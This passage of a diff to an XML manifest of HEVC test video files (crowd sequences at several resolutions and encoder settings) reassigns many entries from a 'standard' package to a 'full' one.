-    <value>mime=video/hevc,size=332774,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4143720,package=standard</value>
+    <value>mime=video/hevc,size=332774,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4143720,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_fast.mp4">
-    <value>mime=video/hevc,size=343244,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4274600,package=standard</value>
+    <value>mime=video/hevc,size=343244,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4274600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_grain.mp4">
     <value>mime=video/hevc,size=591676,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7379408,package=full</value>
@@ -17475,7 +17475,7 @@
     <value>mime=video/hevc,size=379156,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4722880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_maxtu4.mp4">
-    <value>mime=video/hevc,size=356456,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4439144,package=standard</value>
+    <value>mime=video/hevc,size=356456,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4439144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_maxtu8.mp4">
     <value>mime=video/hevc,size=378958,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4720408,package=full</value>
@@ -17490,10 +17490,10 @@
     <value>mime=video/hevc,size=377615,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4703632,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_merge4.mp4">
-    <value>mime=video/hevc,size=374835,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4668880,package=standard</value>
+    <value>mime=video/hevc,size=374835,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4668880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_merge5.mp4">
-    <value>mime=video/hevc,size=374539,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4665184,package=standard</value>
+    <value>mime=video/hevc,size=374539,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4665184,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_mincu16.mp4">
     <value>mime=video/hevc,size=395848,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4931544,package=full</value>
@@ -17541,28 +17541,28 @@
     <value>mime=video/hevc,size=1241018,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=15496184,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp39cbm12cr12.mp4">
-    <value>mime=video/hevc,size=357487,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4452024,package=standard</value>
+    <value>mime=video/hevc,size=357487,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4452024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp4.mp4">
     <value>mime=video/hevc,size=23251643,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=290629000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=29668,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=354312,package=standard</value>
+    <value>mime=video/hevc,size=29668,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=354312,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51cb12cr12.mp4">
-    <value>mime=video/hevc,size=23938,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=282656,package=standard</value>
+    <value>mime=video/hevc,size=23938,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=282656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51cb12crm12.mp4">
-    <value>mime=video/hevc,size=25860,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=306680,package=standard</value>
+    <value>mime=video/hevc,size=25860,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=306680,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51cbm12cr12.mp4">
-    <value>mime=video/hevc,size=29500,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=352184,package=standard</value>
+    <value>mime=video/hevc,size=29500,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=352184,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=30668,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=366784,package=standard</value>
+    <value>mime=video/hevc,size=30668,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=366784,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=23934,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=282632,package=standard</value>
+    <value>mime=video/hevc,size=23934,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=282632,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_rect0.mp4">
     <value>mime=video/hevc,size=377875,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4706880,package=full</value>
@@ -17580,7 +17580,7 @@
     <value>mime=video/hevc,size=379297,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4724624,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_slow.mp4">
-    <value>mime=video/hevc,size=358111,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4459832,package=standard</value>
+    <value>mime=video/hevc,size=358111,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4459832,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_srng0.mp4">
     <value>mime=video/hevc,size=564143,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7035232,package=full</value>
@@ -17643,10 +17643,10 @@
     <value>mime=video/hevc,size=521723,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6505000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_veryfast.mp4">
-    <value>mime=video/hevc,size=334105,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4160360,package=standard</value>
+    <value>mime=video/hevc,size=334105,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4160360,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_veryslow.mp4">
-    <value>mime=video/hevc,size=375048,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4671512,package=standard</value>
+    <value>mime=video/hevc,size=375048,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4671512,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_vui_color_matrix.mp4">
     <value>mime=video/hevc,size=377879,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4706880,package=full</value>
@@ -17679,22 +17679,22 @@
     <value>mime=video/hevc,size=442895,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5523480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_100kbps.mp4">
-    <value>mime=video/hevc,size=165083,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=2046968,package=standard</value>
+    <value>mime=video/hevc,size=165083,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=2046968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_10mbps.mp4">
     <value>mime=video/hevc,size=728073,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9084344,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_1mbps.mp4">
-    <value>mime=video/hevc,size=164845,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=2044000,package=standard</value>
+    <value>mime=video/hevc,size=164845,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=2044000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_20mbps.mp4">
     <value>mime=video/hevc,size=1479692,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=18479584,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4mbps_adaptiveqp0.mp4">
-    <value>mime=video/hevc,size=328275,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4086872,package=standard</value>
+    <value>mime=video/hevc,size=328275,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4086872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4mbps_adaptiveqp2.mp4">
-    <value>mime=video/hevc,size=328044,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4083984,package=standard</value>
+    <value>mime=video/hevc,size=328044,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4083984,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4mbps_qpg16.mp4">
     <value>mime=video/hevc,size=746317,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9312400,package=full</value>
@@ -17706,10 +17706,10 @@
     <value>mime=video/hevc,size=770214,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9611112,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=165050,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=2046560,package=standard</value>
+    <value>mime=video/hevc,size=165050,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=2046560,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_5mbps.mp4">
-    <value>mime=video/hevc,size=370186,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4610760,package=standard</value>
+    <value>mime=video/hevc,size=370186,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4610760,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_allidr.mp4">
     <value>mime=video/hevc,size=1718544,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=21469344,package=full</value>
@@ -17763,7 +17763,7 @@
     <value>mime=video/hevc,size=38179330,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=477225056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=63479,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=776920,package=standard</value>
+    <value>mime=video/hevc,size=63479,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=776920,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_ctb16.mp4">
     <value>mime=video/hevc,size=725833,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9056360,package=full</value>
@@ -17895,22 +17895,22 @@
     <value>mime=video/hevc,size=54822042,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=685258968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=63615,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=778632,package=standard</value>
+    <value>mime=video/hevc,size=63615,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=778632,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51cb12cr12.mp4">
-    <value>mime=video/hevc,size=51320,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=624920,package=standard</value>
+    <value>mime=video/hevc,size=51320,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=624920,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51cb12crm12.mp4">
-    <value>mime=video/hevc,size=56554,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=690344,package=standard</value>
+    <value>mime=video/hevc,size=56554,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=690344,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51cbm12cr12.mp4">
-    <value>mime=video/hevc,size=65143,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=797712,package=standard</value>
+    <value>mime=video/hevc,size=65143,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=797712,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=67417,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=826136,package=standard</value>
+    <value>mime=video/hevc,size=67417,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=826136,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=51316,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=624896,package=standard</value>
+    <value>mime=video/hevc,size=51316,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=624896,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_rect0.mp4">
     <value>mime=video/hevc,size=724986,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9045760,package=full</value>
@@ -18123,7 +18123,7 @@
     <value>mime=video/hevc,size=195685948,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=230440,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2864224,package=standard</value>
+    <value>mime=video/hevc,size=230440,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2864224,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_ctb32.mp4">
     <value>mime=video/hevc,size=1894634,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=23666672,package=full</value>
@@ -18291,22 +18291,22 @@
     <value>mime=video/hevc,size=264077605,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=224052,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2784384,package=standard</value>
+    <value>mime=video/hevc,size=224052,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2784384,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp51cb12cr12.mp4">
-    <value>mime=video/hevc,size=184574,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2290880,package=standard</value>
+    <value>mime=video/hevc,size=184574,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2290880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp51cb12crm12.mp4">
-    <value>mime=video/hevc,size=197863,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2457000,package=standard</value>
+    <value>mime=video/hevc,size=197863,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2457000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp51cbm12cr12.mp4">
-    <value>mime=video/hevc,size=247266,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=3074536,package=standard</value>
+    <value>mime=video/hevc,size=247266,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=3074536,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=253339,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=3150448,package=standard</value>
+    <value>mime=video/hevc,size=253339,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=3150448,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=184570,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2290856,package=standard</value>
+    <value>mime=video/hevc,size=184570,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2290856,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_rect0.mp4">
     <value>mime=video/hevc,size=1924432,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24039120,package=full</value>
@@ -18444,196 +18444,196 @@
     <value>mime=video/hevc,size=2649019,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=33100024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_100kbps.mp4">
-    <value>mime=video/hevc,size=28426,width=640,height=360,frame-rate=50,profile=,level=,bitrate=338768,package=standard</value>
+    <value>mime=video/hevc,size=28426,width=640,height=360,frame-rate=50,profile=,level=,bitrate=338768,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_10mbps.mp4">
     <value>mime=video/hevc,size=796035,width=640,height=360,frame-rate=50,profile=,level=,bitrate=9933880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_1mbps.mp4">
-    <value>mime=video/hevc,size=75778,width=640,height=360,frame-rate=50,profile=,level=,bitrate=930672,package=standard</value>
+    <value>mime=video/hevc,size=75778,width=640,height=360,frame-rate=50,profile=,level=,bitrate=930672,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_20mbps.mp4">
     <value>mime=video/hevc,size=1603092,width=640,height=360,frame-rate=50,profile=,level=,bitrate=20022096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_adaptiveqp0.mp4">
-    <value>mime=video/hevc,size=336404,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4188496,package=standard</value>
+    <value>mime=video/hevc,size=336404,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4188496,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_adaptiveqp2.mp4">
-    <value>mime=video/hevc,size=332631,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4141336,package=standard</value>
+    <value>mime=video/hevc,size=332631,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4141336,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_qpg16.mp4">
-    <value>mime=video/hevc,size=118961,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1470456,package=standard</value>
+    <value>mime=video/hevc,size=118961,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1470456,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_qpg64.mp4">
-    <value>mime=video/hevc,size=118420,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1463712,package=standard</value>
+    <value>mime=video/hevc,size=118420,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1463712,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_qpg8.mp4">
-    <value>mime=video/hevc,size=119006,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1471024,package=standard</value>
+    <value>mime=video/hevc,size=119006,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1471024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=41801,width=640,height=360,frame-rate=50,profile=,level=,bitrate=505960,package=standard</value>
+    <value>mime=video/hevc,size=41801,width=640,height=360,frame-rate=50,profile=,level=,bitrate=505960,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_5mbps.mp4">
     <value>mime=video/hevc,size=393413,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4901112,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_allidr.mp4">
-    <value>mime=video/hevc,size=306932,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3824200,package=standard</value>
+    <value>mime=video/hevc,size=306932,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3824200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_altidr.mp4">
-    <value>mime=video/hevc,size=331508,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4130400,package=standard</value>
+    <value>mime=video/hevc,size=331508,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4130400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_amp0.mp4">
-    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=standard</value>
+    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_amp1.mp4">
-    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=standard</value>
+    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_aud.mp4">
-    <value>mime=video/hevc,size=116768,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443048,package=standard</value>
+    <value>mime=video/hevc,size=116768,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_b_adapt_0.mp4">
-    <value>mime=video/hevc,size=103397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1276512,package=standard</value>
+    <value>mime=video/hevc,size=103397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1276512,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_b_adapt_1.mp4">
-    <value>mime=video/hevc,size=130236,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1611400,package=standard</value>
+    <value>mime=video/hevc,size=130236,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1611400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_beta0.mp4">
-    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=standard</value>
+    <value>mime=video/hevc,size=116771,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_beta4.mp4">
-    <value>mime=video/hevc,size=116739,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1442672,package=standard</value>
+    <value>mime=video/hevc,size=116739,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1442672,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_beta6.mp4">
-    <value>mime=video/hevc,size=116912,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1444832,package=standard</value>
+    <value>mime=video/hevc,size=116912,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1444832,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_beta6_tcm6.mp4">
-    <value>mime=video/hevc,size=117266,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1449248,package=standard</value>
+    <value>mime=video/hevc,size=117266,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1449248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_betam4.mp4">
-    <value>mime=video/hevc,size=117513,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1452344,package=standard</value>
+    <value>mime=video/hevc,size=117513,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1452344,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_betam6.mp4">
-    <value>mime=video/hevc,size=117443,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1451472,package=standard</value>
+    <value>mime=video/hevc,size=117443,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1451472,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_betam6_tc6.mp4">
-    <value>mime=video/hevc,size=117685,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1454480,package=standard</value>
+    <value>mime=video/hevc,size=117685,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1454480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_cnstrn_intra.mp4">
-    <value>mime=video/hevc,size=118163,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1460480,package=standard</value>
+    <value>mime=video/hevc,size=118163,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1460480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_cra16.mp4">
-    <value>mime=video/hevc,size=127728,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1579232,package=standard</value>
+    <value>mime=video/hevc,size=127728,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1579232,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_crf0.mp4">
     <value>mime=video/hevc,size=3552649,width=640,height=360,frame-rate=50,profile=,level=,bitrate=44391560,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=9446,width=640,height=360,frame-rate=50,profile=,level=,bitrate=101520,package=standard</value>
+    <value>mime=video/hevc,size=9446,width=640,height=360,frame-rate=50,profile=,level=,bitrate=101520,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_ctb16.mp4">
-    <value>mime=video/hevc,size=117899,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1457208,package=standard</value>
+    <value>mime=video/hevc,size=117899,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1457208,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_ctb32.mp4">
-    <value>mime=video/hevc,size=117425,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1451272,package=standard</value>
+    <value>mime=video/hevc,size=117425,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1451272,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_fastdecode.mp4">
-    <value>mime=video/hevc,size=116366,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1438024,package=standard</value>
+    <value>mime=video/hevc,size=116366,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1438024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_faster.mp4">
-    <value>mime=video/hevc,size=96613,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1191712,package=standard</value>
+    <value>mime=video/hevc,size=96613,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1191712,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_fast.mp4">
-    <value>mime=video/hevc,size=100523,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1240584,package=standard</value>
